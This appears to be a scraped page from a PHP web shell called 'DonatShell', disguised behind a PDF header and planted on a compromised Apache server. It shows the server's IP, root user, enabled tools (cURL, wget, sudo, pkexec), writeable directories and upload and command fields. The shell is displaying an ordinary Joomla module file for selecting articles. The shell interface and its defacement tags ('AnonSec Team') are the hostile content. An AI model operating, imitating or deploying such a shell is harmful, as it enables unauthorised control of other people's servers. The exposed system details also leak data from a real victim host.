%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/modules/mod_pwebbox/form/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/modules/mod_pwebbox/form/fields/pwebmodalarticle.php
<?php
/**
 * @package     pwebbox
 * @version 	2.0.0
 *
 * @copyright   Copyright (C) 2015 Perfect Web. All rights reserved. http://www.perfect-web.co
 * @license     GNU General Public Licence http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');

require_once JPATH_ADMINISTRATOR . '/components/com_content/models/fields/modal/article.php';

class JFormFieldPwebModalArticle extends JFormFieldModal_Article
{
    protected $type = 'PwebModalArticle';

    /**
     * Method to get the field input markup.
     *
     * @return	string	The field input markup.
     * @since	1.6
     */
    protected function getInput()
    {
        if (version_compare(JVERSION, '3.4.3') == -1) 
        {
            return parent::getInput();
        }  
        else
        {
            $allowEdit		= ((string) $this->element['edit'] == 'true') ? true : false;
            $allowClear		= ((string) $this->element['clear'] != 'false') ? true : false;

            // Load language
            JFactory::getLanguage()->load('com_content', JPATH_ADMINISTRATOR);

            // Load the modal behavior script.
            JHtml::_('behavior.modal', 'a.modal');

            // Build the script.
            $script = array();

            // Select button script
            $script[] = '	function jSelectArticle_' . $this->id . '(id, title, catid, object) {';
            $script[] = '		document.getElementById("' . $this->id . '_id").value = id;';
            $script[] = '		document.getElementById("' . $this->id . '_name").value = title;';

            if ($allowEdit)
            {
                    $script[] = '		jQuery("#' . $this->id . '_edit").removeClass("hidden");';
            }

            if ($allowClear)
            {
                    $script[] = '		jQuery("#' . $this->id . '_clear").removeClass("hidden");';
            }

            $script[] = '		jModalClose();';
            $script[] = '	}';

            // Clear button script
            static $scriptClear;

            if ($allowClear && !$scriptClear)
            {
                    $scriptClear = true;

                    $script[] = '	function jClearArticle(id) {';
                    $script[] = '		document.getElementById(id + "_id").value = "";';
                    $script[] = '		document.getElementById(id + "_name").value = "' .
                            htmlspecialchars(JText::_('COM_CONTENT_SELECT_AN_ARTICLE', true), ENT_COMPAT, 'UTF-8') . '";';
                    $script[] = '		jQuery("#"+id + "_clear").addClass("hidden");';
                    $script[] = '		if (document.getElementById(id + "_edit")) {';
                    $script[] = '			jQuery("#"+id + "_edit").addClass("hidden");';
                    $script[] = '		}';
                    $script[] = '		return false;';
                    $script[] = '	}';
            }

            // Add the script to the document head.
            JFactory::getDocument()->addScriptDeclaration(implode("\n", $script));

            // Setup variables for display.
            $html	= array();
            $link	= 'index.php?option=com_content&amp;view=articles&amp;layout=modal&amp;tmpl=component&amp;function=jSelectArticle_' . $this->id;

            if (isset($this->element['language']))
            {
                    $link .= '&amp;forcedLanguage=' . $this->element['language'];
            }

            if ((int) $this->value > 0)
            {
                    $db	= JFactory::getDbo();
                    $query = $db->getQuery(true)
                            ->select($db->quoteName('title'))
                            ->from($db->quoteName('#__content'))
                            ->where($db->quoteName('id') . ' = ' . (int) $this->value);
                    $db->setQuery($query);

                    try
                    {
                            $title = $db->loadResult();
                    }
                    catch (RuntimeException $e)
                    {
                            JError::raiseWarning(500, $e->getMessage());
                    }
            }

            if (empty($title))
            {
                    $title = JText::_('COM_CONTENT_SELECT_AN_ARTICLE');
            }
            $title = htmlspecialchars($title, ENT_QUOTES, 'UTF-8');

            // The active article id field.
            if (0 == (int) $this->value)
            {
                    $value = '';
            }
            else
            {
                    $value = (int) $this->value;
            }

            // The current article display field.
            $html[] = '<span class="input-append">';
            $html[] = '<input type="text" class="input-medium" id="' . $this->id . '_name" value="' . $title . '" disabled="disabled" size="35" />';
            $html[] = '<a class="modal btn hasTooltip" title="' . JHtml::tooltipText('COM_CONTENT_CHANGE_ARTICLE') . '"  href="' . $link . '&amp;' . JSession::getFormToken() .
                    '=1" rel="{handler: \'iframe\', size: {x: 800, y: 450}}"><i class="icon-file"></i> ' . JText::_('JSELECT') . '</a>';

            // Edit article button
            if ($allowEdit)
            {
                    $html[] = '<a class="btn hasTooltip' . ($value ? '' : ' hidden') . '" href="index.php?option=com_content&layout=modal&tmpl=component&task=article.edit&id=' . $value . '" target="_blank" title="' . JHtml::tooltipText('COM_CONTENT_EDIT_ARTICLE') . '" ><span class="icon-edit"></span>' . JText::_('JACTION_EDIT') . '</a>';
            }

            // Clear article button
            if ($allowClear)
            {
                    $html[] = '<button id="' . $this->id . '_clear" class="btn' . ($value ? '' : ' hidden') . '" onclick="return jClearArticle(\'' .
                            $this->id . '\')"><span class="icon-remove"></span>' . JText::_('JCLEAR') . '</button>';
            }

            $html[] = '</span>';

            // The class='required' for client side validation
            $class = '';

            if ($this->required)
            {
                    $class = ' class="required modal-value"';
            }

            $html[] = '<input type="hidden" id="' . $this->id . '_id"' . $class . ' name="' . $this->name . '" value="' . $value . '" />';

            return implode("\n", $html);            
        }
    }

}

Anon7 - 2022
AnonSec Team